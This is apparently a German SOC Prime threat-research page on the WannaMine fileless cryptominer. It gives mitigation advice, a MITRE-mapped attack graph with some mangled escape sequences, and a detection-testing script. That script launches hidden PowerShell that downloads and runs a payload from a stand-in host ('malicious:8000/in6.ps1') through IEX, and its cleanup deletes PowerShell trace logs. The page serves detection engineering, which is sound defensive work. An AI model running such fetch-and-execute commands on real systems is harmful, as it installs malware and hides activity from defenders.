SOC Prime Bias: Kritisch

14 Jan. 2026 18:14

WannaMine-Kryptominer-Analyse: Dateilose Ausführung und Persistenz

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Folgen
WannaMine-Kryptominer-Analyse: Dateilose Ausführung und Persistenz
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

WannaMine ist ein dateiloser Kryptomining-Wurm, der auf Living-off-the-Land-Tools setzt – hauptsächlich PowerShell und Windows Management Instrumentation (WMI) – um speicherresident zu bleiben und Monero zu minen.

Untersuchung

WannaMine wird entweder durch Phishing-E-Mails mit bösartigen Batch-Dateien verbreitet oder durch Ausnutzung der EternalBlue-SMB-Sicherheitslücke. Für Persistenz registriert es WMI-Ereignisabonnements und speichert codiertes PowerShell in benutzerdefinierten WMI-Klassen.

WannaMine-Minderung

Verhindern Sie die Ausnutzung von EternalBlue durch das Patchen von SMB (MS17-010). Beschränken Sie die PowerShell-Ausführung und -Überwachung, beobachten Sie ungewöhnliche WMI-Klassenerstellungen und Ereignis-Consumer und erzwingen Sie das Prinzip des geringsten Privilegs, um die missbräuchliche Verwendung von Anmeldeinformationen zu begrenzen.

Antwort

Alarmieren Sie bei abnormalem PowerShell/WMI-Verhalten, isolieren Sie betroffene Hosts, entfernen Sie bösartige WMI-Ereignis-Consumer/-Abonnements, rotieren Sie potenziell exponierte Anmeldeinformationen und führen Sie Speicher-Forensik durch, um den im Speicher befindlichen Miner zu bestätigen.

„graph TB %% Klassendefinitionen Abschnitt classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef operator fill:#ff9900 %% Knoten – Aktionen action_phishing[„<b>Aktion</b> – <b>T1566.001 Phishing</b>: Spearphishing-Anhang, der eine bösartige Batch-Datei liefert“] class action_phishing action action_user_exec[„<b>Aktion</b> – <b>T1204 Benutzer-Ausführung</b>: Opfer führt die Batch-Datei aus, die PowerShell startet“] class action_user_exec action action_powershell_exec[„<b>Aktion</b> – <b>T1059.001 PowerShell</b>: Verstecktes PowerShell-Skript bestimmt die OS-Architektur und lädt Payload herunter“] class action_powershell_exec action action_wmi_persistence[„<b>Aktion</b> – <b>T1546.003 WMI-Ereignis-Abonnement</b>: Malware erstellt benutzerdefinierte WMI-Klassen und registriert Ereigniskonsumenten“] class action_wmi_persistence action action_pass_the_hash[„<b>Aktion</b> – <b>T1550.002 Pass the Hash</b>: Extrahierte NTLM-Hashes werden wiederverwendet“] class action_pass_the_hash action action_wmiexec[„<b>Aktion</b> – <b>Seitliche Bewegung über WMIExec</b>: Hashes verwendet, um PowerShell auf entfernten Hosts auszuführen“] class action_wmiexec action action_eternalblue[„<b>Aktion</b> – <b>T1210 Ausnutzung von Remote-Diensten</b>: EternalBlue (MS17u2011010) wird verwendet, wenn Hash-Wiederverwendung fehlschlägt“] class action_eternalblue action action_defense_evasion[„<b>Aktion</b> – <b>T1550 Alternative Authentifizierungsmaterialien verwenden</b>: Die Wiederverwendung gestohlener Hashes vermeidet Anmeldeaufforderungen“] class action_defense_evasion action action_compute_hijacking[„<b>Aktion</b> – <b>T1496.001 Rechenkapazitätsentführung</b>: System konfiguriert, um Monero-Kryptowährung zu schürfen“] class action_compute_hijacking action action_power_settings[„<b>Aktion</b> – <b>T1653 Energieeinstellungen</b>: Energiemanagement geändert, um Schlaf zu verhindern und das Mining aktiv zu halten“] class action_power_settings action %% Knoten – Werkzeuge und Malware file_batch[„<b>Werkzeug</b> – <b>Name</b>: Bösartige Batch-Datei<br/><b>Beschreibung</b>: Container für den anfänglichen PowerShell-Befehl“] class file_batch tool tool_powershell[„<b>Werkzeug</b> – <b>Name</b>: PowerShell<br/><b>Beschreibung</b>: Skript-Engine für Download und Ausführung“] class tool_powershell tool tool_wmi[„<b>Werkzeug</b> – <b>Name</b>: Windows Management Instrumentation<br/><b>Beschreibung</b>: Registriert Ereignisabonnements für Persistenz“] class tool_wmi tool tool_mimikatz[„<b>Werkzeug</b> – <b>Name</b>: Mimikatz-Modul<br/><b>Beschreibung</b>: Extrahiert NTLM-Hashes aus dem Speicher“] class tool_mimikatz tool tool_wmiexec[„<b>Werkzeug</b> – <b>Name</b>: WMIExec<br/><b>Beschreibung</b>: Führt Befehle auf entfernten Maschinen über WMI aus“] class tool_wmiexec tool exploit_eternalblue[„<b>Werkzeug</b> – <b>Name</b>: EternalBlue-Exploit<br/><b>Beschreibung</b>: Nutzt SMB-Schwachstelle MS17u2011010 aus“] class exploit_eternalblue tool malware_payload[„<b>Malware</b> – <b>Name</b>: Benutzerdefiniertes Payload<br/><b>Beschreibung</b>: Heruntergeladene Komponente, die Mining durchführt“] class malware_payload malware process_download[„<b>Prozess</b> – <b>Name</b>: Remote-Payload-Download<br/><b>Beschreibung</b>: Ruft das geeignete Binärfile für die OS-Architektur ab“] class process_download process process_mining[„<b>Prozess</b> – <b>Name</b>: Monero-Miner<br/><b>Beschreibung</b>: Nutzt CPU-Zyklen für Kryptowährungs-Mining“] class process_mining process %% Verbindungen – Angriffsablauf action_phishing u002du002d>|liefert| file_batch file_batch u002du002d>|ausgeführt_von_Benutzer| action_user_exec action_user_exec u002du002d>|auslöst| action_powershell_exec action_powershell_exec u002du002d>|verwendet| tool_powershell action_powershell_exec u002du002d>|lädt_herunter| process_download process_download u002du002d>|speichert_als| malware_payload malware_payload u002du002d>|erstellt| action_wmi_persistence action_wmi_persistence u002du002d>|nutzt| tool_wmi action_wmi_persistence u002du002d>|extrahiert_Hashes_mit| tool_mimikatz tool_mimikatz u002du002d>|ermöglicht| action_pass_the_hash action_pass_the_hash u002du002d>|ermöglicht| action_wmiexec action_pass_the_hash u002du002d>|fällt_zurück_auf| action_eternalblue action_wmiexec u002du002d>|führt_seitliche_Bewegung_aus| process_mining action_eternalblue u002du002d>|nutzt_aus| exploit_eternalblue exploit_eternalblue u002du002d>|verschafft_Zugang_für| process_mining process_mining u002du002d>|führt_zu| action_defense_evasion action_defense_evasion u002du002d>|ermöglicht| action_compute_hijacking action_compute_hijacking u002du002d>|ändert| action_power_settings „

Angriffsfluss

Simulationsausführung

Voraussetzung: Die Telemetrie- und Baseline-Pre-Flight-Überprüfung muss bestanden sein.

Grund: Dieser Abschnitt beschreibt die genaue Ausführung der Vorgehensweise des Gegners (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und die Erzählung müssen die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

  • Angriffserzählung & Befehle:
    Ein Angreifer erlangt Remote-Code-Ausführung auf einem Windows-Endpunkt. Um Benutzerinteraktionen zu vermeiden, starten sie PowerShell in einem versteckten Fenster (-W Hidden) ohne Profil (-NoP) und nicht-interaktiv (-NonI). Der Befehl verwendet IEX um eine PowerShell-Nutzlast von einem bösartigen HTTP-Server herunterzuladen (http://malicious:8000/in6.ps1). Das heruntergeladene Skript registriert eine WMI-Klasse namens Office_Updater unter rootdefault die eine Eigenschaft speichert mon die einen Base64-codierten Monero-Miner enthält. Der Angreifer liest dann die Eigenschaft über [WmiClass] und führt sie aus, was effektiv den Kryptominer startet, ohne einen neuen Prozess zu erstellen. Diese Sequenz entspricht den drei Kommandozeilen-Substrings der Erkennungsregel.

  • Regressionstestskript:

    #-------------------------------------------------
    # Simulation der Ausführung eines dateilosen WannaMine-Kryptominers
    #-------------------------------------------------
    $maliciousServer = "http://malicious:8000"
    $payloadPath     = "$maliciousServer/in6.ps1"
    
    # 1. Versteckte, nicht-interaktive PowerShell-Ausführung
    $cmd = "-NoP -NonI -W Hidden " +
           "IEX(New-Object Net.WebClient).DownloadString('$payloadPath'); " +
           "`$mon = ([WmiClass] 'rootdefault:Office_Updater').Properties['mon'].Value"
    
    # Befehl ausführen (dies ist, was der Angreifer ausführen würde)
    Start-Process -FilePath "powershell.exe" -ArgumentList $cmd -WindowStyle Hidden -NoNewWindow
    
    # Hinweis: Das Remote-Skript (in6.ps1) wird angenommen, dass es die WMI-Klasse erstellt
    # mit einer "mon"-Eigenschaft, die den Mining-Code enthält.
  • Bereinigungsbefehle:

    # Entfernen der bösartigen WMI-Klasse
    Get-WmiObject -Namespace "rootdefault" -Class "Office_Updater" | Remove-WmiObject -ErrorAction SilentlyContinue
    
    # Beenden von verbleibenden PowerShell-Miner-Prozessen (falls welche gestartet wurden)
    Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
        Where-Object {$_.CommandLine -match "mon"} |
        Stop-Process -Force
    
    # Optional: Löschen von während des Tests erstellten PowerShell-Transkript-/Protokolldateien
    Remove-Item -Path "$env:LOCALAPPDATAMicrosoftWindowsPowerShellTrace*" -Force -ErrorAction SilentlyContinue